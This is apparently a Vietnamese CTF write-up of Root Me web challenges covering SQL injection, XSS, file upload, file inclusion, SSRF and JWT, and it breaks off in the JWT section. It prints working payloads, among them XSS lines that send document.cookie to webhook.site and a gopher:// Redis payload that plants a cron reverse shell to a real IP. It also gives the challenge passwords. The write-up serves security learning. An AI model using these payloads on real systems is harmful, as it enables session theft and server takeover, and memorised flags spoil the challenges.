---
# System prepended metadata

title: Root Me
tags: [CTF]

---

# SQL injection
## SQL injection - Authentication
Login với username:`admin'--`, password bất kỳ 
![image](https://hackmd.io/_uploads/S13XgfFia.png)

**Password**: `t0_W34k!$`

## SQL injection - String
Chèn thử `1'` thì nhận được lỗi
![image](https://hackmd.io/_uploads/SkzUgGFsa.png)

Chèn `1' union select null, null--` thì biết được số cột của truy vấn là 2 cột
![image](https://hackmd.io/_uploads/S1UdxGKiT.png)

Chèn tiếp `1' union select null,sql from sqlite_master--` thì có được thông tin về bảng `users`
![image](https://hackmd.io/_uploads/rkqKxzYsT.png)

Payload: `1' union select username, password from users--` 
![image](https://hackmd.io/_uploads/rkY5lMYoa.png)

Password: `c4K04dtIaJsuWdi`

## SQL injection - Numeric
Thêm `'` vào url thì nhận được lỗi
![image](https://hackmd.io/_uploads/BkZAgzFo6.png)

Chèn `1 union select null,null,null--` không gặp lỗi, chứng tỏ câu truy vấn đến 3 cột
![image](https://hackmd.io/_uploads/HyLybMKja.png)

Tương tự bài trên, cũng có bảng `users`
![image](https://hackmd.io/_uploads/SJ4S-fYiT.png)

Payload: `1 union select 1,username,password from users--`
![image](https://hackmd.io/_uploads/HkyS-zKsp.png)

**Password**: `aTlkJYLjcbLmue3`

## SQL injection - Authentication - GBK
Thử inject thì được lỗi như sau
![image](https://hackmd.io/_uploads/Hkmw4stsT.png)
Hàm `md5()` để hash password dạng md5
Hàm `addslashes` sẽ thêm `\` trước mỗi ký tự `', ", \` nếu gặp chúng. Do đó các payload thông thường sẽ bị reject

Theo [doc](https://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html) này thì ta chỉ cần thêm `%af` hoặc `%bf` vào input. Vì `%5c` là mã hóa của `\`, nhưng `%bf%5c` là chữ trung quốc.

Bypass thành công
![image](https://hackmd.io/_uploads/rJD_joKsp.png)
![image](https://hackmd.io/_uploads/rkX62jYi6.png)

**Password**: `iMDaFlag1337!`

## SQL injection - Error
Thử chèn `'` thì gặp lỗi, chứng tỏ có thể inject từ param này
![image](https://hackmd.io/_uploads/rkuXF2Yj6.png)

Dựa theo [doc](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20FAST%20blind%20SQL%20Injection.pdf?_gl=1*1ngdn9v*_ga*OTQ3NTQzMjE3LjE2OTYzODIzNjk.*_ga_SRYSKX09J7*MTcwNzg3OTMxNC43NC4xLjE3MDc4Nzk0NzcuMC4wLjA.) từ đề ta có thể dùng hàm `CAST` cho MySQL để giải.

Ta có các syntax từ [cheat sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) 

![image](https://hackmd.io/_uploads/SJqoQati6.png)
Vì truy vấn trả về nhiều hơn 1 cột nên có lỗi

Dùng Burp Intruder với limit 1 offset từ 0-10 (tức là lấy 1 giá trị bắt đầu từ hàng thứ 0,1,2...)
![image](https://hackmd.io/_uploads/Hk1GsTKj6.png)

Tìm được tên bảng `m3mbr35t4bl3`
![image](https://hackmd.io/_uploads/B1uNj6KoT.png)

![image](https://hackmd.io/_uploads/r1muj6tja.png)

Tương tự, có tên cột `us3rn4m3_c0l` và `p455w0rd_c0l`
![image](https://hackmd.io/_uploads/r1Gqjptj6.png)
![image](https://hackmd.io/_uploads/r19qiTtoa.png)

Giờ select ra thui
![image](https://hackmd.io/_uploads/S1sD10Fsp.png)

**Password**: `1a2BdKT5DIx3qxQN3UaC`

## SQL injection - Blind
#### Bước 1: Khai thác về DB
Đầu tiên, inject `'` thì báo lỗi, db sử dùng SQLite3
![image](https://hackmd.io/_uploads/BkLgX-cjp.png)

Thử chèn lệnh luôn đúng và luôn sai
![image](https://hackmd.io/_uploads/ryyM3lcj6.png)
![image](https://hackmd.io/_uploads/Byo7hlcia.png)
Nếu đúng thì login thành công, sai thì ngược lại

Đi tìm độ dài tên bảng của db: 
```sql
'+or+(select+substr(name,§1§,1)+from+sqlite_master+where+type='table')='§a§'--
```
![image](https://hackmd.io/_uploads/Byu9NZ9oT.png)
![image](https://hackmd.io/_uploads/ryl9NZqsT.png)
Tên bảng chứa 5 ký tự

Bruteforce để tìm tên bảng:
![image](https://hackmd.io/_uploads/SJ8RHb5sT.png)
![image](https://hackmd.io/_uploads/SJgJL-9op.png)
Tìm được bảng `users`

Tương tự, tìm các cột trong bảng `users`
```sql
'+or+(select+length(name)+from+pragma_table_info('users')+limit+1+offset+§1§)>0--
```
![image](https://hackmd.io/_uploads/Byq9zM9ja.png)
Vậy có 3 cột

Tìm tên của các cột
- Cột 1: 
    ![image](https://hackmd.io/_uploads/BJPD4Gqia.png)
    ![image](https://hackmd.io/_uploads/ryI44fqop.png)
    Độ dài cột 1 là 7 ký tự
    
    ![image](https://hackmd.io/_uploads/ry6drG9op.png)
    ![image](https://hackmd.io/_uploads/HJG-Bfcs6.png)
    Tên cột 1 là `username`
- Cột 2:
    ![image](https://hackmd.io/_uploads/SJjj7Gcsa.png)
    Độ dài cột 2 là 8 ký tự
    
    ![image](https://hackmd.io/_uploads/ryOPrfcjp.png)
    ![image](https://hackmd.io/_uploads/rJlaHzcoT.png)
    Tên cột 2 là `password`
- Vậy không cần quan tâm đến tên cột 3 nữa

#### Bước 2: Tìm password
Kiểm tra tồn tại username `admin` hay không
![image](https://hackmd.io/_uploads/BJgfalqsa.png)

Kiểm tra độ dài của password
![image](https://hackmd.io/_uploads/Hk9gAe5s6.png)
![image](https://hackmd.io/_uploads/BkV0pg5ia.png)
Vậy password có độ dài là 8

Thực hiện bruteforce để tìm password
![image](https://hackmd.io/_uploads/BkNs0e9jT.png)
![image](https://hackmd.io/_uploads/S1ZbzZ9ip.png)

**Password**: `e2azO93i`

## SQL injection - File reading
Vẫn là `'` để check param có thể inject
![image](https://hackmd.io/_uploads/ryOdNNjja.png)
`'` đã bị filter

Dùng `union` để check thì biết câu truy vấn gồm 4 cột
![image](https://hackmd.io/_uploads/S1iVr4ij6.png)

Tiếp theo, ta sẽ đi tìm thông tin về bảng và các cột
`member` cần được mã hóa dưới dạng hex: `0x6d656d626572`
![image](https://hackmd.io/_uploads/HyuLYEjsT.png)
Vậy có bảng `member` 

![image](https://hackmd.io/_uploads/SJJMKEsiT.png)
2 cột cần chú ý là `member_login` và `member_password`

![image](https://hackmd.io/_uploads/HkRr5Voj6.png)
Có được account admin nhưng password bị mã hóa dạng base64. Thử decode thì không ra
```base64
VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==
```

Đề bài là file reading nên ta sẽ dùng hàm `load_file()` để đọc file index xem có gì [(doc](https://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php))
*Chú ý: đường dẫn file cần phải encode hex*
```hex
hex(/challenge/web-serveur/ch31/index.php) = 0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870
```
![image](https://hackmd.io/_uploads/Syee1SijT.png)

Đọc source thì thấy password được mã hóa sha1, stringxor(), base64
![image](https://hackmd.io/_uploads/S1ZIeHjjp.png)
![image](https://hackmd.io/_uploads/ryLi1Hosp.png)

Với `a xor b = c` thì `a xor c = b` nên có thể sử dụng chính đoạn code của họ để decode xor
![image](https://hackmd.io/_uploads/SkrAfSsja.png)

Dùng [tool decrypt sha1](https://hashes.com/en/decrypt/hash) thu được password
![image](https://hackmd.io/_uploads/S1iNmBjsT.png)

**Password**: superpassword

## SQL injection - Time based
Sử dụng sqlmap để tìm thêm thông tin về database, vì đề liên quan đến time based nên câu lệnh sẽ là
![image](https://hackmd.io/_uploads/Bk-kM8ssp.png)

Ta biết được hệ thống sử dụng `PostgreSQL` và tên DB `public`
![image](https://hackmd.io/_uploads/Byzrf8siT.png)

Lấy thông tin các bảng
![image](https://hackmd.io/_uploads/S1E5G8oi6.png)
![image](https://hackmd.io/_uploads/rypAbLoip.png)

Lấy thông tin các cột
![image](https://hackmd.io/_uploads/ByKRWIiip.png)
![image](https://hackmd.io/_uploads/Bkv3bLjsp.png)

Biết được bảng `users` chứa `password` nên ta sẽ lấy dữ liệu trong các cột của bảng `users`
![image](https://hackmd.io/_uploads/S1G2-Liip.png)
![image](https://hackmd.io/_uploads/H1evKLji6.png)

**Password**: `T!m3B@s3DSQL!`

## SQL Injection - Routed
Trước khi vào bài thì mình có đọc được [doc](https://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html) này.

Inject lệnh quen thuộc
![image](https://hackmd.io/_uploads/SJVSu2isa.png)

Ở bài này thì đã bị filter từ khóa `or, order by`, tuy nhiên thì `union, select` vẫn dùng được
![image](https://hackmd.io/_uploads/ryomNniia.png)

Thông thường ở lệnh này sẽ báo lỗi về số cột, nhưng nó lại trả về `1`, ta sẽ đặt 1 câu truy vấn thay thế cho`1` để nó trả về truy vấn này
![image](https://hackmd.io/_uploads/rysCHnisp.png)

Query 
```sql
hex('order by 3 -- -') = 0x27206F726465722062792033202D2D202D
```
![image](https://hackmd.io/_uploads/HknLwhjsp.png)
Vậy là có 2 cột

Tìm tên bảng và cột (https://mariadb.com/kb/en/information-schema-columns-table/)
```sql
hex(' union select 1,table_name from information_schema.tables where table_schema=database()-- -) = 0x2720756E696F6E2073656C65637420312C7461626C655F6E616D652066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D646174616261736528292D2D202D
```
![image](https://hackmd.io/_uploads/BJg3K2soT.png)
Vậy có bảng `users`

```sql
hex(users) = 0x7573657273
```
```sql
hex(' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- -) = 0x2720756E696F6E2073656C65637420312C67726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D3078373537333635373237332D2D202D
```
![image](https://hackmd.io/_uploads/HJG123oip.png)
Có 2 cột cần chú ý `login`, `password`

Chỉ cần select ra thui
```sql
hex(' union select 1,concat(login,0x20,password) from users-- -) = 0x2720756E696F6E2073656C65637420312C636F6E636174286C6F67696E2C307832302C70617373776F7264292066726F6D2075736572732D2D202D
```
![image](https://hackmd.io/_uploads/H1iMahsop.png)

**Password**: `qs89QdAs9A`

## SQL injection - Filter bypass
Xem source code ta có cấu trúc bảng
![image](https://hackmd.io/_uploads/S1MQHlTja.png)

Inject `'` ở param `id` thì có lỗi 
![image](https://hackmd.io/_uploads/SyuOHlpjp.png)

Sau khi test những từ khóa và ký tự thông thường như `whitespace, and, or, union, select, ', ||, =, ...` đều bị filter. Tuy nhiên `%09` không bị filter, ta sẽ dùng nó thay thế cho khoảng trắng.

Ta đã biết bảng `membres` có 4 cột nhưng do dấu phẩy đã bị filter nên không select được như mọi khi. 
![image](https://hackmd.io/_uploads/r1Dk2e6sa.png)
 
Thay thế nó bằng cách
![image](https://hackmd.io/_uploads/Hy_t2lTsT.png)

Payload
```sql
%09UNION%09SELECT%09*%09FROM%09((SELECT%091)A%09JOIN%09(SELECT%092)B%09JOIN%09(SELECT%093)C%09JOIN%09(SELECT%094)D)%09--
```
![image](https://hackmd.io/_uploads/HJb3kbpjp.png)

Giờ thì select password ra thui
Payload
```sql
%09UNION%09SELECT%09*%09FROM%09((SELECT%09pass%09FROM%09membres%09LIMIT%091)A%09JOIN%09(SELECT%092)B%09JOIN%09(SELECT%093)C%09JOIN%09(SELECT%094)D)%09--
```
![image](https://hackmd.io/_uploads/rJqLl-pop.png)

**Password**: `KLfgyTIJbdhursqli`

## SQL Truncation
Để login được vào admin thì cần có password, thử đăng kí thì nhận được lỗi user đã tồn tại

Đề cho biết thông tin như sau
![image](https://hackmd.io/_uploads/HJM9WRYsa.png)

Ta có [doc](https://resources.infosecinstitute.com/topics/hacking/sql-truncation-attack/#gref) tương tự. Vậy chỉ cần register với username dài hơn ký tự quy định, nó sẽ tự cắt đi các ký tự khác và ghi đè account admin
![image](https://hackmd.io/_uploads/Hkz1VCKsa.png)

Login với password vừa đăng ký
![image](https://hackmd.io/_uploads/Bk31NRtia.png)

**Password**: `J41m3Qu4nD54Tr0nc`

# XSS
## XSS - Reflected
Ta thấy có 1 form điền thông tin của người dùng
![image](https://hackmd.io/_uploads/ryjKifU3a.png)

Họ bảo là cái form này vô nghĩa vc =))))
![image](https://hackmd.io/_uploads/rJCl3MLnp.png)

Sau khi fuzz thì ta chỉ nhận thấy phần url có thể thay đổi, vậy là có thể chèn payload ở đây
![image](https://hackmd.io/_uploads/SkWjaG8hT.png)

Thử các script thì nhận thấy `<>, "` đã bị filter
![image](https://hackmd.io/_uploads/B1FfdQLhT.png)
![image](https://hackmd.io/_uploads/B1nhtJPh6.png)

Tuy nhiên `'` thì vẫn hoạt động
![image](https://hackmd.io/_uploads/H1X5tyw3a.png)

Payload
```js
' onmousemove='document.location="https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?cookie=".concat(document.cookie)
```
![image](https://hackmd.io/_uploads/ByNznJvhT.png)

**Password**: `r3fL3ct3D_XsS_fTw`

## XSS - Stored 1
Chèn thử `<script>alert(1)</script>` thì nhận được thông báo, chứng tỏ web có lỗ hổng xss ở `message`
![image](https://hackmd.io/_uploads/HkPycBV3a.png)

Sử dụng [Webhook](https://webhook.site/) để theo dõi các request HTTP đến web

Post message có chứa payload và chờ admin truy cập vào, cookie của admin sẽ được gửi đến webhook
```js
<script>document.location='https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?c='+document.cookie</script>
```
![image](https://hackmd.io/_uploads/Sym5qrE3T.png)

**Password**: `NkI9qe4cdLIO2P7MIsWS8ofD6`

## XSS - Stored 2
Sau khi thử chèn các script vào `message` thì đều không có tác dụng gì. Tuy nhiên ở bài này có sử dụng thẻ `<i>` để hiển thị value của `status`
![image](https://hackmd.io/_uploads/S1TmUGL3T.png)

Và giá trị của `status` có thể thay đổi được
![image](https://hackmd.io/_uploads/SJGorzUha.png)

Inject 1 script cơ bản
![image](https://hackmd.io/_uploads/By7kwz83T.png)
![image](https://hackmd.io/_uploads/H1sALM82a.png)

Payload
```js
"><script>document.location='https://webhook.site/a6b48214-2c97-4375-bc9b-29d920e61003?c='+document.cookie</script>
```
![image](https://hackmd.io/_uploads/B1FrvMI26.png)

Và chờ admin truy cập vào web để có được cookie của admin
![image](https://hackmd.io/_uploads/r1NrdM8na.png)

Dùng cookie vừa lấy được truy cập vào admin section
![image](https://hackmd.io/_uploads/rJHjYML2p.png)

**Password**: `E5HKEGyCXQVsYaehaqeJs0AfV`

## XSS - Stored - filter bypass
Bài này filter một số thẻ, dấu `()`, và từ khóa `document`

Dùng Burp Intruder để fuzz cái nào dùng được với list trong [cheatsheet Portswigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 
![image](https://hackmd.io/_uploads/Bkv3Qu3ha.png)
Bị filter những thẻ trên, mình sẽ dùng thẻ `button`, event `onfocus`

Convert `alert(1)` sang [JSFuck](https://jsfuck.com/) để bypass 
```
<button onfocus=(eval)(JSFuck[alert(1)])></button>
```
![image](https://hackmd.io/_uploads/HkUtsO22a.png)
XSS thành công

Payload
```
<button autofocus onfocus=(eval)(JSFuck[document.location='https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie)])></button>
```
![image](https://hackmd.io/_uploads/S1dHFu33p.png)

**Password**: `qa26f3ugb5tqv7o0mbvtv414u8`

## XSS DOM Based - Introduction
Nhập thử 1 số thì có đoạn source code như sau:
![image](https://hackmd.io/_uploads/HkLu1ELhp.png)
Code này sẽ so sánh giá trị của 2 biến `number` và `random`, nếu bằng nhau thì thực hiện các lệnh trong if else. 

Tuy nhiên, nếu có tìm được giá trị `number` thì cũng không có được flag. Giá trị của `number` được gán trực tiếp, không bị mã hóa nên ta có thể bỏ qua nó bằng cách 
```js
'; alert(1) ;//
```
![image](https://hackmd.io/_uploads/S1ny4E8n6.png)
![image](https://hackmd.io/_uploads/SJm-E4L3p.png)

Payload
```js
http://challenge01.root-me.org/web-client/ch32/?number=';window.location.href=`https://webhook.site/529e5d86-8dca-4849-add3-024e4fde2f86?cookie=${document.cookie}`;//
```
Gửi url chứa script đến admin ở `/contact`
![image](https://hackmd.io/_uploads/rkQbIE8nT.png)

**Password**: `rootme{XSS_D0M_BaSed_InTr0}`

## XSS DOM Based - Eval
https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-Eval
Ta nhập 1 phép tính thì có source code như sau
![image](https://hackmd.io/_uploads/Hk-SvHvh6.png)
Code này sử dụng hàm `eval()` để thực hiện phép tính, sau đó chuyển phép tính cùng kết qua sang dạng chuỗi.

Input được regex: kiểm tra xem phần tử đầu tiên có phải là số không, phần tử tiếp theo có phải là `+, -, *, /` không, và phần tử còn lại có phải là số không
![image](https://hackmd.io/_uploads/rJJV_Bwnp.png)

Chèn `<script>alert(1)</script>` thì thấy `()` bị filter
![image](https://hackmd.io/_uploads/HkZgOSPha.png)

Chèn ```1+1, alert`1` ``` thì thành công
![image](https://hackmd.io/_uploads/HkE6trvhT.png)
Bởi vì hàm `eval()` chỉ được filter ở phần đầu input

Payload
```js
1+1, window.location.href=`https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie=${document.cookie}`
```
![image](https://hackmd.io/_uploads/rkWgew52a.png)
Nhận được response

Gửi url report qua `/contact`
```url
http://challenge01.root-me.org/web-client/ch34/index.php?calculation=1%2B1%2C%20document.location%3D%60https%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%24%7Bdocument.cookie%7D%60
```
![image](https://hackmd.io/_uploads/HJVHlw5ha.png)

**Password**: `rootme{Eval_Is_DangER0us}`

Cách thứ 2 có thể thực hiện: ```1+1/*';alert`2`;//*/```
![image](https://hackmd.io/_uploads/S1cO3SP3T.png)
![image](https://hackmd.io/_uploads/Byoqhrvnp.png)

## XSS DOM Based - AngularJS
AngularJS sẽ thực thi JavaScript bên trong dấu ngoặc nhọn đôi có thể xuất hiện trực tiếp trong HTML hoặc bên trong các thuộc tính ([doc](https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs))

Chèn `{{1+1}}` thì kết quả là 2, vậy nó thực thi được lệnh trong dấu ngoặc nhọn `{{}}`
![image](https://hackmd.io/_uploads/HJrKNS3n6.png)

Chèn tiếp `{{constructor.constructor('alert(1)')()}}` thì bị filter mất dấu `'`
![image](https://hackmd.io/_uploads/Hk-QHr32a.png)

Thay thành `"` thì XSS thành công
![image](https://hackmd.io/_uploads/SJWdHrnnT.png)
![image](https://hackmd.io/_uploads/SyF8Br32a.png)

Payload
```js
{{constructor.constructor("document.location=`https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie=${document.cookie}`")()}}
```
Nhận được response
![image](https://hackmd.io/_uploads/HJKyornn6.png)

Giờ chỉ cần gửi report 
```
http://challenge01.root-me.org/web-client/ch35/index.php?name=%7B%7Bconstructor.constructor%28%22document.location%3D%60https%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%24%7Bdocument.cookie%7D%60%22%29%28%29%7D%7D
```
![image](https://hackmd.io/_uploads/Hy0R9S326.png)

**Password**: `rootme{@NGu1@R_J$_1$_C001}`

## XSS DOM Based - Filters Bypass
Chèn `';alert(1);//` thì bị filter mất dấu `;`
![image](https://hackmd.io/_uploads/HkxC_D23T.png)

Tìm trong PayloadsAllTheThings thì thấy có thể thay thế `;` bằng `*, /, %, ...`
```js
' ** alert(1) //
```
![image](https://hackmd.io/_uploads/H1SNKvn2a.png)
XSS thành công

Chèn tiếp
```js
' ** eval(document.location='https://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie)) //
```
Ở đây còn check cả url nữa
![image](https://hackmd.io/_uploads/SkzAFw3h6.png)

Bypass như sau
```js
' ** eval(document.location='http'.concat('s://webhook.site/1fc59e4c-f29f-48eb-9b9c-3cdd087216c1?cookie='.concat(document.cookie))) //
```
![image](https://hackmd.io/_uploads/SJeSqDn26.png)

Gửi url đến admin thui
```
http://challenge01.root-me.org/web-client/ch33/index.php?number=%27%20%2A%2A%20eval%28document.location%3D%27http%27.concat%28%27s%3A%2F%2Fwebhook.site%2F1fc59e4c-f29f-48eb-9b9c-3cdd087216c1%3Fcookie%3D%27.concat%28document.cookie%29%29%29%20%2F%2F
```
![image](https://hackmd.io/_uploads/BJ48hv3h6.png)

**Password**: `rootme{FilTERS_ByPass_DOm_BASEd_XSS}`

# File upload
## File upload - Double extensions
Mục tiêu thực hiện webshell, ta upload 1 file đuôi `.php`
![image](https://hackmd.io/_uploads/ryYZCHyT6.png)

Thêm `.png` là bypass thành công
![image](https://hackmd.io/_uploads/S1_50SJ66.png)
Ta được phép thực thi các lệnh shell

Giờ thì đọc file `.passwd` để lấy flag
![image](https://hackmd.io/_uploads/HyIrkIya6.png)
![image](https://hackmd.io/_uploads/ry771Ukpa.png)

**Password**: `Gg9LRz-hWSxqqUKd77-_q-6G8`

## File upload - MIME type
https://www.root-me.org/en/Challenges/Web-Server/File-upload-MIME-type
Server chỉ cho phép upload các file `GIF, JPEG or PNG`
![image](https://hackmd.io/_uploads/H1NAyPyTp.png)

Đổi `Content-Type : application/octet-stream` thành `Content-Type : image/png`
![image](https://hackmd.io/_uploads/SJPuxP1aT.png)

Upload và thực hiện webshell thành công
![image](https://hackmd.io/_uploads/SkHz-PJT6.png)
![image](https://hackmd.io/_uploads/B13Z-vJpp.png)
**Password**: `a7n4nizpgQgnPERy89uanf6T4`

## File upload - Null byte
Thay đổi `Content-Type` và chèn thêm byte null vào cuối kèm theo đuôi .png (vì byte null bỏ qua đuôi png, lúc đó file php sẽ được thực thi) thì upload thành công
![image](https://hackmd.io/_uploads/BJp6bD1aT.png)
![image](https://hackmd.io/_uploads/B1YbMPJ6p.png)
**Password**: `YPNchi2NmTwygr2dgCCF `

## File upload - ZIP
![image](https://hackmd.io/_uploads/S1X5181pT.png)
![image](https://hackmd.io/_uploads/rkgVgLJTp.png)
Sau khi upload 1 file zip thì ta biết được vị trí lưu file của hệ thống ở `../../../a.jpeg`

Upload 1 file php thì gặp lỗi
![image](https://hackmd.io/_uploads/S1naJ8JpT.png)
![image](https://hackmd.io/_uploads/SkVC1IJpT.png)

Để crack ta sẽ dùng symbolic link/soft link 
- Một loại tệp hoạt động như một con trỏ hoặc tham chiếu đến tệp hoặc thư mục khác.
- Tạo lối tắt đến tệp hoặc thư mục, giúp chúng có thể truy cập được từ các vị trí khác nhau trong hệ thống tệp.

Cách tạo symlink từ [hacktrick](https://book.hacktricks.xyz/pentesting-web/file-upload#polyglot-files)
![image](https://hackmd.io/_uploads/BkKyQvyaa.png)

![image](https://hackmd.io/_uploads/rkO-lLJaa.png)

![image](https://hackmd.io/_uploads/SkSZeUyaT.png)

Upload file ZIP thành công
![image](https://hackmd.io/_uploads/B1zbeU1Ta.png)

![image](https://hackmd.io/_uploads/Hk1ZlLyT6.png)

**Password**: `N3v3r_7rU5T_u5Er_1npU7`

# File Inclusion
## Local File Inclusion
Thêm `'` thì có lỗi, chứng tỏ có thể LFI tại param này
![image](https://hackmd.io/_uploads/BJpSNn_pa.png)

Web cho phép truy cập với 2 vai trò `guest/admin`
![image](https://hackmd.io/_uploads/S1AqEhd66.png)

Đối với admin thì file `index.php` có đường dẫn `/web-serveur/ch16/admin/`
![image](https://hackmd.io/_uploads/Hyu943_Ta.png)
Ta dùng `../` trong Directory Traversal để thay thế cho các thư mục cha
```
../../admin/index.php
```
![image](https://hackmd.io/_uploads/rJp7Nh_pp.png)

**Password**: `OpbNJ60xYpvAQU8`

## Local File Inclusion - Double encoding
Dấu hiệu LFI
![image](https://hackmd.io/_uploads/SJw3S2_6a.png)

Tên file được tự động thêm `.inc.php`. Code có dạng sau:
```php
include($_GET['page'].inc.php)
```

Sử dụng `Wrapper php://filter` vì không LFI được như bài trước và bài này cần double encode để tránh bị detect
```
php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dhome
```
Decode base64 output và có được tên file `conf`
![image](https://hackmd.io/_uploads/Sk0msnOTT.png)
![image](https://hackmd.io/_uploads/H1e8o3O6a.png)

Payload
```
php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dconf
```
![image](https://hackmd.io/_uploads/SJ0ii3_6a.png)

**Password**: `Th1sIsTh3Fl4g!`

## Local File Inclusion - Wrappers
Web chỉ cho phép upload file đuôi `.jpg`
![image](https://hackmd.io/_uploads/Sk8kIp_6a.png)
![image](https://hackmd.io/_uploads/ByhpL6up6.png)

Ảnh được lưu với tên ngẫu nhiên tại `/tmp/upload/`
![image](https://hackmd.io/_uploads/ryURST_TT.png)

Để giải bài này ta sẽ dùng LFI wrapper với `zip`. Xem thêm tại [đây](https://github.com/l1chow/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-zip) 
Tạo file ảnh jpg như sau:
![image](https://hackmd.io/_uploads/B1FFoTOpp.png)

Sau đó upload và xem file tại `?page=zip://tmp/upload/[id_image].jpg%23a` 
- `a` là tên của file `a.php` được nén trong file zip
- Đuôi `.php` không được thêm vào cuối cùng vì server sẽ mặc định đuôi file đó là .php nhưng nếu nhập vào thì sẽ bị Attack Detect

![image](https://hackmd.io/_uploads/Hyw3j6_Tp.png)

Ta cần tìm flag, vì `system(), shell_exec()` đã bị chặn nên ta sẽ dùng hàm `scandir()` để liệt kê các file
```php                                                
<?php
        $path = '.';
        $a = scandir($path);
        print_r($a);
?>
```
Upload và ta có 1 file `flag-mipkBswUppqwXlq9ZydO.php`
![image](https://hackmd.io/_uploads/B1_22Tdpp.png)

Đọc file này
```php
<?php show_source('flag-mipkBswUppqwXlq9ZydO.php');?>
```
![image](https://hackmd.io/_uploads/BJNETpdp6.png)

**Password**: `lf1-Wr4pp3r_Ph4R_pwn3d`

## Remote File Inclusion
Code có dạng
```php
include($_GET['lang']_lang.php)
```
![image](https://hackmd.io/_uploads/SJzPphOa6.png)

Ta sẽ thực hiện RFI bằng cách: tạo file `exploit_lang.php` chứa code `<?php show_source("index.php")?>` và up lên [gist](https://gist.github.com) ở chế độ public

Payload 
```
https://gist.githubusercontent.com/l1chow/4075616127749fad340cd68c3592fb37/raw/8bf360bb36ce4848066fa9e5ff0ce60370785cf1/exploit
```
![image](https://hackmd.io/_uploads/rkpoxpOTp.png)

**Password**: `R3m0t3_iS_r3aL1y_3v1l`

# SSRF
## Server Side Request Forgery
Web này nhận input là 1 url và trả về dữ liệu được crawl từ url đó
![image](https://hackmd.io/_uploads/B1pkW8g66.png)

Payload `file:///etc/passwd`
![image](https://hackmd.io/_uploads/B1U5WIxp6.png)
Ta có được nội dung của file passwd, chứng tỏ server không validate đầu vào và thực hiện mọi request dựa vào tham số url mà client gửi lên do đó sẽ có lỗi SSRF.

Ta sẽ xem server này đang mở những cổng dịch vụ gì
![image](https://hackmd.io/_uploads/BJc748e66.png)
![image](https://hackmd.io/_uploads/BJIBNUl6p.png)

Response chứa `Connection refused` thì port đó đang đóng ngược lại thì là các port mở.
![image](https://hackmd.io/_uploads/H1HN9Lxpa.png)
Ta tìm được port `25, 80, 6379` đang mở trên server. Trong đó port 6379 là cổng đang chạy Redis (là một cơ sở dữ liệu nguồn mở lưu trữ dữ liệu theo dạng key-value), và ta có thể ghi đè lên file trong hệ thống

Ta tạo reverse shell thông qua giao thức Gopher
> Gopher là một giao thức ở layer Application cung cấp khả năng trích xuất và xem các tài liệu web được lưu trữ trên các máy chủ web từ xa.

> Để giao tiếp với cơ sở dữ dữ liệu sử dụng gopher thì ta chỉ cần gọi nó thông qua URL scheme gopher://

Tạo payload với tool [Gopherus](https://github.com/tarunkant/Gopherus). 

Bước 1: Sử dụng ngrok để public localhost: 
```
ngrok tcp 1234
```
![image](https://hackmd.io/_uploads/S1WqoDx66.png)

![image](https://hackmd.io/_uploads/Bkqg2we6a.png)

Bước 2: Tạo payload bằng Gopherus
![image](https://hackmd.io/_uploads/Bk0m2wlp6.png)

Bước 3: Fix payload 
- Vì port sau khi dùng ngrok public là 14217 chứ không phải 1234 như Gopherus tạo
- Lắng nghe port 1234
```
nc -lvp 1234
```

Bước 4: Upload payload
```
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/18.141.129.246/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
```
ReverseShell thành công và có được flag
![image](https://hackmd.io/_uploads/Sk8KeOlTa.png)

**Flag**: `SSRF_PwNiNg_v1@_GoPh3r_1s_$o_c00l!`

Lấy password để submit ở Validation Room
![image](https://hackmd.io/_uploads/Skf-bOepa.png)

**Password**: `2aa7632cfaa55f92deb808910eb295d0`

# JWT
## JWT - Introduction
Chall có 1 form login, ta có thể đăng nhập với tư cách guest
![image](https://hackmd.io/_uploads/H1AzD1ZoA.png)

Cookie nhận được chứa jwt token
![image](https://hackmd.io/_uploads/BJXLvJWjA.png)

Dùng https://token.dev/ để decode
![image](https://hackmd.io/_uploads/rk8PvJboA.png)

Thay đổi thuật toán thành none để truy cập vào admin
